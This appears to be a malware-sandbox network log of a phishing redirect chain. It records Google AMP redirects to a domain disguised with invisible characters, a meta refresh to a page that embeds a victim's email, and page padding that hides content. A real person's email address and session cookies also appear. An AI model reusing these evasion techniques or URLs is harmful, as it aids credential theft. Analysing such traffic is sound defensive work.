affjKh5lDB\}=0>X
2024-10-10 16:00:17 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.17	49713	40.126.32.138	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 16:00:19 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-10-10 16:00:19 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-10-10 16:00:19 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 10 Oct 2024 15:59:19 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C529_BAY x-ms-request-id: 2292bfc1-c508-4dce-a6ae-3acd51fd705e PPServer: PPV: 30 H: PH1PEPF0001B86A V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 10 Oct 2024 16:00:18 GMT Connection: close Content-Length: 11389
2024-10-10 16:00:19 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.17	49714	142.250.186.132	443	5760	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-10 16:00:20 UTC	1021	OUT	GET /url?cad=z64Ndl7J844jI5EH33et&cd=9X3EYbyCMUoB46Jqpszn&esrc=EgJeLX8CAl11DNSW7pgH&q=IrfT8NMLx6QPaJgv6Z3g&rct=qsUbQmXhZ93d4gNXIWaR&sa=t&safe=active&source=&uact=+&url=amp%2F%E2%80%8Bbay%C2%ADrak%C2%ADtar%C2%ADplaza%C2%AD%C2%AD.%E2%80%8Bco%C2%ADm%2Fauth%2Factive%2Fy8E4XKJctWEENyvnBLR6%2FcmFjaGVsLmFuZGVyc29uQGFtZXJpY2Fuc2lnbmF0dXJlLmNvbQ%3D%3D&ved=36LRX1krI3rPMEZVSMU2 HTTP/1.1 Host: www.google.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-10 16:00:20 UTC	1140	IN	HTTP/1.1 302 Found Location: https://www.google.com/amp/%E2%80%8Bbay%C2%ADrak%C2%ADtar%C2%ADplaza%C2%AD%C2%AD.%E2%80%8Bco%C2%ADm/auth/active/y8E4XKJctWEENyvnBLR6/cmFjaGVsLmFuZGVyc29uQGFtZXJpY2Fuc2lnbmF0dXJlLmNvbQ== Cache-Control: private Content-Type: text/html; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-AbI7-uQMVoQmWdWDTB3vUA' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other Permissions-Policy: unload=() P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Date: Thu, 10 Oct 2024 16:00:20 GMT Server: gws Content-Length: 382 X-XSS-Protection: 0 Set-Cookie: NID=518=LUtCOXoo8Z5gPTYmt3H8LqWZTAG6hKQWe-cdREwgZ1U5skKMsQ1ebJKw-WObc8ztdOwhrvjO8jzr2h2SrcScnkV33BZhN4EFb9Qp4CfMifOTNldFYQ3YJcOZGlavXchLr7TNWhZ5RWxrbHt-PIEIgoxy1iomxi4tn-5Cszy6g2rWSvByILnv121IggBwqj9u; expires=Fri, 11-Apr-2025 16:00:20 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-10 16:00:20 UTC	250	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 61 6d 70 2f 25 45 32 25 38 30 25 38 42 62 61 79 25 43 32 25 41 44 72 61 6b 25 43 32 25 41 44 74 61 72 25 43 32 25 41 44 70 6c 61 7a 61 25 43 32 25 41 44 25 43 32 25 41 44 2e 25 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://www.google.com/amp/%E2%80%8Bbay%C2%ADrak%C2%ADtar%C2%ADplaza%C2%AD%C2%AD.%
2024-10-10 16:00:20 UTC	132	IN	Data Raw: 45 32 25 38 30 25 38 42 63 6f 25 43 32 25 41 44 6d 2f 61 75 74 68 2f 61 63 74 69 76 65 2f 79 38 45 34 58 4b 4a 63 74 57 45 45 4e 79 76 6e 42 4c 52 36 2f 63 6d 46 6a 61 47 56 73 4c 6d 46 75 5a 47 56 79 63 32 39 75 51 47 46 74 5a 58 4a 70 59 32 46 75 63 32 6c 6e 62 6d 46 30 64 58 4a 6c 4c 6d 4e 76 62 51 3d 3d 22 3e 68 65 72 65 3c 2f 41 3e 2e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: E2%80%8Bco%C2%ADm/auth/active/y8E4XKJctWEENyvnBLR6/cmFjaGVsLmFuZGVyc29uQGFtZXJpY2Fuc2lnbmF0dXJlLmNvbQ==">here</A>.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.17	49715	40.126.32.138	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 16:00:20 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4742 Host: login.live.com
2024-10-10 16:00:20 UTC	4742	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-10-10 16:00:20 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 10 Oct 2024 15:59:20 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C529_BAY x-ms-request-id: 89dd583d-7036-4237-bf14-93a3276b8c79 PPServer: PPV: 30 H: PH1PEPF00011E50 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 10 Oct 2024 16:00:20 GMT Connection: close Content-Length: 10197
2024-10-10 16:00:20 UTC	10197	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.17	49716	142.250.186.132	443	5760	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-10 16:00:21 UTC	1029	OUT	GET /amp/%E2%80%8Bbay%C2%ADrak%C2%ADtar%C2%ADplaza%C2%AD%C2%AD.%E2%80%8Bco%C2%ADm/auth/active/y8E4XKJctWEENyvnBLR6/cmFjaGVsLmFuZGVyc29uQGFtZXJpY2Fuc2lnbmF0dXJlLmNvbQ== HTTP/1.1 Host: www.google.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=518=LUtCOXoo8Z5gPTYmt3H8LqWZTAG6hKQWe-cdREwgZ1U5skKMsQ1ebJKw-WObc8ztdOwhrvjO8jzr2h2SrcScnkV33BZhN4EFb9Qp4CfMifOTNldFYQ3YJcOZGlavXchLr7TNWhZ5RWxrbHt-PIEIgoxy1iomxi4tn-5Cszy6g2rWSvByILnv121IggBwqj9u
2024-10-10 16:00:21 UTC	898	IN	HTTP/1.1 302 Found Location: http://bayraktarplaza.com/auth/active/y8E4XKJctWEENyvnBLR6/cmFjaGVsLmFuZGVyc29uQGFtZXJpY2Fuc2lnbmF0dXJlLmNvbQ== Cache-Control: private X-Robots-Tag: noindex Content-Type: text/html; charset=UTF-8 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-3mbPV2UXamZINdMyZYE7yg' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Permissions-Policy: unload=() Date: Thu, 10 Oct 2024 16:00:21 GMT Server: gws Content-Length: 326 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-10 16:00:21 UTC	326	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 3a 2f 2f e2 80 8b 62 61 79 c2 ad 72 61 6b c2 ad 74 61 72 c2 ad 70 6c 61 7a 61 c2 ad c2 ad 2e e2 80 8b 63 6f c2 ad 6d 2f 61 75 74 68 2f 61 63 74 69 76 65 2f 79 38 45 34 58 4b 4a 63 74 57 45 45 4e 79 76 6e 42 4c 52 36 2f 63 6d 46 6a 61 47 56 73 4c 6d Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="http://bayraktarplaza.com/auth/active/y8E4XKJctWEENyvnBLR6/cmFjaGVsLm

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.17	49717	185.179.27.104	443	5760	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-10 16:00:22 UTC	746	OUT	GET /auth/active/y8E4XKJctWEENyvnBLR6/cmFjaGVsLmFuZGVyc29uQGFtZXJpY2Fuc2lnbmF0dXJlLmNvbQ== HTTP/1.1 Host: bayraktarplaza.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-10 16:00:23 UTC	640	IN	HTTP/1.1 200 OK Connection: close refresh: 0;url=https://pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev/DHDSDFcgcbTEX2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnD3x%40W8CobWfAhEktKPt3JDTKN2FpnDW8CobWkfAhEktKP_GSHDH6838JSHDJH239HNXXNHD%26JSDNNDNDBNIADK938DJJDJt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW.html#_rachel.anderson@americansignature.com content-type: text/html; charset=UTF-8 transfer-encoding: chunked date: Thu, 10 Oct 2024 16:20:06 GMT alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-10-10 16:00:23 UTC	728	IN	Data Raw: 66 63 31 36 0d 0a 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c Data Ascii: fc16<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><
2024-10-10 16:00:23 UTC	14994	IN	Data Raw: 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 0a 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 2d 77 65 Data Ascii: r><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br> <div style="-we
2024-10-10 16:00:23 UTC	16384	IN	Data Raw: 65 2d 61 64 6a 75 73 74 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 2d 73 74 72 65 74 63 68 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 2d 76 61 72 69 61 6e 74 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 2d 76 61 72 69 61 74 69 6f 6e 2d 73 65 74 74 69 6e 67 73 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 69 6e 68 65 72 69 74 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 69 6e 68 65 72 69 74 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 70 78 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 70 78 3b 70 61 64 64 69 6e 67 3a 30 70 78 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 62 61 73 65 6c 69 6e 65 3b 22 3e 3c 73 74 72 6f 6e 67 3e 53 65 6e 74 3a 3c 2f 73 74 Data Ascii: e-adjust:inherit;font-stretch:inherit;font-style:inherit;font-variant:inherit;font-variation-settings:inherit;font-weight:inherit;line-height:inherit;margin-bottom:0px;margin-right:0px;margin-top:0px;padding:0px;vertical-align:baseline;"><strong>Sent:</st
2024-10-10 16:00:23 UTC	16384	IN	Data Raw: 6e 74 2d 73 69 7a 65 3a 6d 65 64 69 75 6d 3b 66 6f 6e 74 2d 73 74 72 65 74 63 68 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 76 61 72 69 61 6e 74 2d 61 6c 74 65 72 6e 61 74 65 73 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 2d 76 61 72 69 61 6e 74 2d 63 61 70 73 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 76 61 72 69 61 6e 74 2d 65 61 73 74 2d 61 73 69 61 6e 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 2d 76 61 72 69 61 6e 74 2d 6c 69 67 61 74 75 72 65 73 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 76 61 72 69 61 6e 74 2d 6e 75 6d 65 72 69 63 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 2d 76 61 72 69 61 6e 74 2d 70 6f 73 69 74 69 6f 6e 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 2d 76 61 72 69 61 74 69 6f 6e 2d 73 65 74 74 69 6e 67 73 Data Ascii: nt-size:medium;font-stretch:inherit;font-style:normal;font-variant-alternates:inherit;font-variant-caps:normal;font-variant-east-asian:inherit;font-variant-ligatures:normal;font-variant-numeric:inherit;font-variant-position:inherit;font-variation-settings
2024-10-10 16:00:23 UTC	16052	IN	Data Raw: 67 73 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 2d 6b 65 72 6e 69 6e 67 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 2d 6f 70 74 69 63 61 6c 2d 73 69 7a 69 6e 67 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 2d 73 69 7a 65 2d 61 64 6a 75 73 74 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 2d 73 74 72 65 74 63 68 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 2d 76 61 72 69 61 6e 74 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 2d 76 61 72 69 61 74 69 6f 6e 2d 73 65 74 74 69 6e 67 73 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 69 6e 68 65 72 69 74 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 69 6e 68 65 72 69 74 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 70 78 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 70 78 3b 6d 61 Data Ascii: 